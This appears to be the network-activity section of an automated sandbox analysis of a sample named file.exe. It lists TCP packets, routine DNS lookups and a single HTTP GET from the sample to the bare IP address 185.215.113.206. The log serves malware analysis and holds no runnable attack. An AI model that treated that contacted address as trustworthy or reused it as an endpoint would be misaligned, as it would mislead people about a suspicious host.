Nov 28, 2024 08:56:32.310357094 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:32.310425043 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:32.310753107 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:32.310767889 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:33.948043108 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:33.948187113 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:33.949831009 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:33.949842930 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:33.950078011 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:33.959759951 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:34.007335901 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.448559999 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.448643923 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.448692083 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.448753119 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:34.448780060 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.448838949 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:34.449249983 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:34.646485090 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.646511078 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.646595001 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:34.646625996 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.646677971 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:34.689913988 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.689933062 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.690043926 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:34.690057993 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.690097094 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:34.842818022 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.842844963 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.842998028 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:34.843036890 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.843092918 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:34.872239113 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.872270107 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.872368097 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:34.872385979 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.872435093 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:34.892437935 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.892463923 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.892545938 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:34.892570019 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.892621040 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:34.909943104 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.909962893 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.910058975 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:34.910075903 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:34.910123110 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.047113895 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.047142029 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.047390938 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.047426939 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.047482014 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.064353943 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.064372063 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.064749956 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.064762115 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.064863920 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.081486940 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.081502914 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.081768036 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.081777096 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.081829071 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.098717928 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.098731995 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.098886967 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.098906994 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.098958015 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.260592937 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.260622025 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.260740042 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.260770082 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.260814905 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.277335882 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.277363062 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.277441978 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.277472973 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.277520895 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.282187939 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.282258034 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.282268047 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.282280922 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.282324076 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.282381058 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.282399893 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.282409906 CET	49852	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.282414913 CET	443	49852	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.328804970 CET	49853	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.328841925 CET	443	49853	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.328912973 CET	49853	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.329507113 CET	49854	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.329545021 CET	443	49854	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.329602003 CET	49854	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.330984116 CET	49855	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.330991983 CET	443	49855	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.331046104 CET	49855	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.331828117 CET	49856	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.331835032 CET	443	49856	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.331890106 CET	49856	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.333079100 CET	49857	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.333087921 CET	443	49857	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.333231926 CET	49857	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.333432913 CET	49856	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.333445072 CET	443	49856	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.333597898 CET	49853	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.333605051 CET	443	49853	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.333745956 CET	49857	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.333758116 CET	443	49857	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.337673903 CET	49854	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.337686062 CET	443	49854	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:35.337774038 CET	49855	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:35.337783098 CET	443	49855	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.052925110 CET	443	49854	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.053675890 CET	49854	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.053704977 CET	443	49854	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.054368019 CET	49854	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.054373026 CET	443	49854	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.114125013 CET	443	49856	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.114253998 CET	443	49853	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.114831924 CET	49856	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.114866972 CET	443	49856	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.115251064 CET	49856	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.115257978 CET	443	49856	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.115494967 CET	49853	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.115506887 CET	443	49853	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.115859985 CET	49853	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.115864992 CET	443	49853	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.117196083 CET	443	49855	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.117448092 CET	49855	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.117458105 CET	443	49855	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.117818117 CET	49855	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.117824078 CET	443	49855	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.186028957 CET	443	49857	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.186561108 CET	49857	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.186605930 CET	443	49857	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.187061071 CET	49857	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.187066078 CET	443	49857	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.493554115 CET	443	49854	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.493578911 CET	443	49854	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.493813038 CET	49854	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.493840933 CET	443	49854	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.493894100 CET	49854	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.494079113 CET	49854	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.494085073 CET	443	49854	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.494101048 CET	49854	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.494252920 CET	443	49854	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.494282961 CET	443	49854	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.494328976 CET	49854	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.497410059 CET	49858	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.497451067 CET	443	49858	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.497528076 CET	49858	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.497689962 CET	49858	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.497704983 CET	443	49858	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.557991982 CET	443	49853	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.558072090 CET	443	49853	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.558175087 CET	49853	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.558453083 CET	49853	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.558475971 CET	443	49853	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.558495045 CET	49853	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.558501005 CET	443	49853	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.561770916 CET	49859	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.561811924 CET	443	49859	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.561909914 CET	49859	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.562083006 CET	49859	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.562098026 CET	443	49859	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.563330889 CET	443	49856	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.563354969 CET	443	49856	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.563402891 CET	49856	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.563429117 CET	443	49856	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.563577890 CET	49856	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.563595057 CET	443	49856	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.563618898 CET	49856	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.563746929 CET	443	49856	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.563780069 CET	443	49856	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.563817978 CET	49856	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.565701962 CET	49860	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.565737963 CET	443	49860	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.565857887 CET	49860	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.565989971 CET	49860	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.566001892 CET	443	49860	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.566143990 CET	443	49855	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.566169977 CET	443	49855	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.566247940 CET	49855	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.566270113 CET	443	49855	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.566323996 CET	49855	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.566469908 CET	49855	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.566474915 CET	443	49855	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.566493034 CET	49855	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.566636086 CET	443	49855	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.566662073 CET	443	49855	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.566704035 CET	49855	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.568352938 CET	49861	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.568386078 CET	443	49861	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.568450928 CET	49861	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.568562984 CET	49861	443	192.168.2.8	13.107.246.63
Nov 28, 2024 08:56:37.568574905 CET	443	49861	13.107.246.63	192.168.2.8
Nov 28, 2024 08:56:37.638328075 CET	443	49857	13.107.246.63	192.168.2.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 28, 2024 08:55:27.775032043 CET	192.168.2.8	1.1.1.1	0x9913	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:27.775187969 CET	192.168.2.8	1.1.1.1	0xbcb2	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 28, 2024 08:55:34.629021883 CET	192.168.2.8	1.1.1.1	0x7a98	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:34.629477978 CET	192.168.2.8	1.1.1.1	0x7061	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 28, 2024 08:55:39.496706963 CET	192.168.2.8	1.1.1.1	0x9763	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:39.496902943 CET	192.168.2.8	1.1.1.1	0x25cf	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 28, 2024 08:55:41.937268972 CET	192.168.2.8	1.1.1.1	0x7620	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:41.937609911 CET	192.168.2.8	1.1.1.1	0x8b02	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 28, 2024 08:55:43.653616905 CET	192.168.2.8	1.1.1.1	0xb910	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:43.653845072 CET	192.168.2.8	1.1.1.1	0x9ae5	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 08:55:43.654423952 CET	192.168.2.8	1.1.1.1	0xc470	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:43.654747009 CET	192.168.2.8	1.1.1.1	0xe8bd	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 08:55:43.672563076 CET	192.168.2.8	1.1.1.1	0xaa9a	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:43.673060894 CET	192.168.2.8	1.1.1.1	0x7864	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 28, 2024 08:55:44.786036015 CET	192.168.2.8	1.1.1.1	0x2294	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:44.786252975 CET	192.168.2.8	1.1.1.1	0x627d	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 28, 2024 08:55:44.800589085 CET	192.168.2.8	1.1.1.1	0x80c9	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:44.800755024 CET	192.168.2.8	1.1.1.1	0x446e	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 28, 2024 08:55:44.978367090 CET	192.168.2.8	1.1.1.1	0x4cc3	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:44.982331038 CET	192.168.2.8	1.1.1.1	0x2653	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 28, 2024 08:55:45.116638899 CET	192.168.2.8	1.1.1.1	0x2d01	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:45.117037058 CET	192.168.2.8	1.1.1.1	0x920d	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 28, 2024 08:56:42.958020926 CET	192.168.2.8	1.1.1.1	0xc3b8	Standard query (0)	deff.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:56:42.958225012 CET	192.168.2.8	1.1.1.1	0xd93b	Standard query (0)	deff.nelreports.net	65	IN (0x0001)	false
Nov 28, 2024 08:57:42.974142075 CET	192.168.2.8	1.1.1.1	0x4264	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:57:42.974309921 CET	192.168.2.8	1.1.1.1	0x3adc	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 28, 2024 08:55:27.913441896 CET	1.1.1.1	192.168.2.8	0x9913	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:27.913690090 CET	1.1.1.1	192.168.2.8	0xbcb2	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 28, 2024 08:55:34.768052101 CET	1.1.1.1	192.168.2.8	0x7a98	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:55:34.768052101 CET	1.1.1.1	192.168.2.8	0x7a98	No error (0)	plus.l.google.com		172.217.17.78	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:34.768645048 CET	1.1.1.1	192.168.2.8	0x7061	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:55:39.634457111 CET	1.1.1.1	192.168.2.8	0x25cf	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:55:39.634469032 CET	1.1.1.1	192.168.2.8	0x9763	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:55:40.033622980 CET	1.1.1.1	192.168.2.8	0xd1b5	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:55:40.033622980 CET	1.1.1.1	192.168.2.8	0xd1b5	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:40.118335962 CET	1.1.1.1	192.168.2.8	0xe74f	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:55:42.076184034 CET	1.1.1.1	192.168.2.8	0x8b02	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:55:42.078000069 CET	1.1.1.1	192.168.2.8	0x7620	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:55:43.791177034 CET	1.1.1.1	192.168.2.8	0xb910	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:43.791177034 CET	1.1.1.1	192.168.2.8	0xb910	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:43.792053938 CET	1.1.1.1	192.168.2.8	0x9ae5	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 08:55:43.792064905 CET	1.1.1.1	192.168.2.8	0xc470	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:43.792064905 CET	1.1.1.1	192.168.2.8	0xc470	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:43.792069912 CET	1.1.1.1	192.168.2.8	0xe8bd	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 08:55:43.810343981 CET	1.1.1.1	192.168.2.8	0x7864	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 28, 2024 08:55:43.811153889 CET	1.1.1.1	192.168.2.8	0xaa9a	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:43.811153889 CET	1.1.1.1	192.168.2.8	0xaa9a	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:44.923244953 CET	1.1.1.1	192.168.2.8	0x2294	No error (0)	sb.scorecardresearch.com		18.165.220.106	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:44.923244953 CET	1.1.1.1	192.168.2.8	0x2294	No error (0)	sb.scorecardresearch.com		18.165.220.57	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:44.923244953 CET	1.1.1.1	192.168.2.8	0x2294	No error (0)	sb.scorecardresearch.com		18.165.220.66	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:44.923244953 CET	1.1.1.1	192.168.2.8	0x2294	No error (0)	sb.scorecardresearch.com		18.165.220.110	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:55:44.937937975 CET	1.1.1.1	192.168.2.8	0x80c9	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:55:44.938208103 CET	1.1.1.1	192.168.2.8	0x446e	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:55:45.116099119 CET	1.1.1.1	192.168.2.8	0x4cc3	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:55:45.120646000 CET	1.1.1.1	192.168.2.8	0x2653	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:55:45.253860950 CET	1.1.1.1	192.168.2.8	0x2d01	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:55:45.254522085 CET	1.1.1.1	192.168.2.8	0x920d	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:55:48.442737103 CET	1.1.1.1	192.168.2.8	0xba5b	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:55:48.442737103 CET	1.1.1.1	192.168.2.8	0xba5b	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 28, 2024 08:56:43.095479012 CET	1.1.1.1	192.168.2.8	0xd93b	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:56:43.096539021 CET	1.1.1.1	192.168.2.8	0xc3b8	No error (0)	deff.nelreports.net	deff.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:57:43.112222910 CET	1.1.1.1	192.168.2.8	0x3adc	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 28, 2024 08:57:43.213898897 CET	1.1.1.1	192.168.2.8	0x4264	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.8	49705	185.215.113.206	80	740	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 28, 2024 08:55:19.502463102 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 28, 2024 08:55:20.942236900 CET	203	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 07:55:20 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
